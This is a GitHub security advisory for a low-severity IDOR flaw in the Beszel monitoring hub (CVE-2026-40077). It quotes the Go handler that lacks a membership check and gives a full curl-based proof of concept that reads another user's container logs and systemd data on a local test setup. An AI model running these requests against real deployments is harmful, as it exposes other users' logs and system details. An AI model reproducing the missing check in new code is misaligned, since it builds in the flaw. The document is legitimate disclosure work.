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Beszel has an IDOR in hub API endpoints that read system ID from URL parameter

Low severity GitHub Reviewed Published Apr 9, 2026 in henrygd/beszel • Updated Apr 10, 2026

Package

gomod github.com/henrygd/beszel (Go)

Affected versions

<= 0.18.6

Patched versions

0.18.7

Description

Summary

Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.

System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.

Affected Component

  • File: internal/hub/api.go, lines 283–361
  • Endpoints:
    • GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID
    • GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID
    • GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME
    • POST /api/beszel/smart/refresh?system=SYSTEM_ID
  • Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84

Vulnerable Code

The containerRequestHandler function retrieves a system by ID but never verifies the authenticated user is a member of that system:

// internal/hub/api.go:283-305
func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {
    systemID := e.Request.URL.Query().Get("system")
    containerID := e.Request.URL.Query().Get("container")

    if systemID == "" || containerID == "" {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"})
    }
    if !containerIDPattern.MatchString(containerID) {
        return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"})
    }

    system, err := h.sm.GetSystem(systemID)
    // ^^^ No authorization check: e.Auth.Id is never verified against system.users
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"})
    }

    data, err := fetchFunc(system, containerID)
    if err != nil {
        return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()})
    }

    return e.JSON(http.StatusOK, map[string]string{responseKey: data})
}

The same pattern applies to getSystemdInfo (lines 322–340) and refreshSmartData (lines 342–361).

Meanwhile, the standard PocketBase collection API enforces proper membership checks:

// internal/hub/collections.go:56-57
systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id"
systemMemberRule  := authenticatedRule + " && system.users.id ?= @request.auth.id"

These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on apiAuth.

PoC

The proof: The standard PocketBase API returns 404 (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.

Step 1: Start the hub

cd ~/Evidence/henrygd/beszel/finding418/docker-poc/
docker compose up -d

Wait a few seconds, then verify:

curl -s http://localhost:8090/api/health

Expected: {"message":"API is healthy.","code":200,"data":{}}

Step 2: Create User A (admin)

Open http://localhost:8090 in a browser and create the first user:

  • Email: usera@test.com
  • Password: testpassword1

Step 3: Create User B (readonly)

In the Beszel UI, go to Users and add a new user:

  • Email: userb@test.com
  • Password: testpassword2
  • Role: readonly

Step 4: Authenticate as User A

TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"usera@test.com","password":"testpassword1"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_A=$TOKEN_A"

Step 5: Get hub public key

HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['key'])")

echo "HUB_KEY=$HUB_KEY"

Step 6: Create a universal token and start the agent

UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "UTOK_A=$UTOK_A"

Find the Docker network the hub is on:

NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
echo "Network: $NETWORK"

Start the agent on the same network so the hub can reach it:

docker run -d --name beszel-agent-a \
  --network "$NETWORK" \
  -e HUB_URL=http://beszel-hub:8090 \
  -e TOKEN="$UTOK_A" \
  -e KEY="$HUB_KEY" \
  henrygd/beszel-agent:latest

Wait a few seconds for the agent to register:

sleep 5

Step 7: Verify User A sees the system

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" | python3 -m json.tool

You should see one system in items. Save the system ID:

SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])")

echo "SYSTEM_A_ID=$SYSTEM_A_ID"

Step 8: Authenticate as User B (readonly)

TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
  -H "Content-Type: application/json" \
  -d '{"identity":"userb@test.com","password":"testpassword2"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "TOKEN_B=$TOKEN_B"

Verify User B sees NO systems:

curl -s http://localhost:8090/api/collections/systems/records \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: "totalItems": 0

Step 9: Control test — standard API blocks User B

echo "=== Standard PocketBase API ==="
curl -s -w "\nHTTP Status: %{http_code}\n" \
  "http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \
  -H "Authorization: $TOKEN_B"

Expected: 404 — RBAC correctly hides the system from User B.

Step 10: IDOR — SMART refresh (User B triggers action on User A's system)

echo "=== IDOR: POST /api/beszel/smart/refresh ==="
curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \
  -X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.

Step 11: IDOR — Systemd info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/systemd/info ==="
curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Expected: Hub contacts the agent and returns systemd data or an agent-level error.

Step 12: IDOR — Container logs (User B reads from User A's system)

Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:

# Get a real container ID from Docker (first 12 hex chars)
CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)
echo "CONTAINER_ID=$CONTAINER_ID"

echo "=== IDOR: GET /api/beszel/containers/logs ==="
curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Step 13: IDOR — Container info (User B reads from User A's system)

echo "=== IDOR: GET /api/beszel/containers/info ==="
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
  -H "Authorization: $TOKEN_B" | python3 -m json.tool

Impact

  • Container logs: Content of recent application logs, potentially including sensitive information
  • Container info: Content of Docker engine API's /containers/{id}/json endpoint, excluding environment variables
  • Systemd info: Unit properties and status for any monitored service
  • SMART refresh: Trigger a SMART data update on any system

References

@henrygd henrygd published to henrygd/beszel Apr 9, 2026
Published by the National Vulnerability Database Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

CVE-2026-40077

GHSA ID

GHSA-5f5r-95pg-xrpm

Source code

Credits

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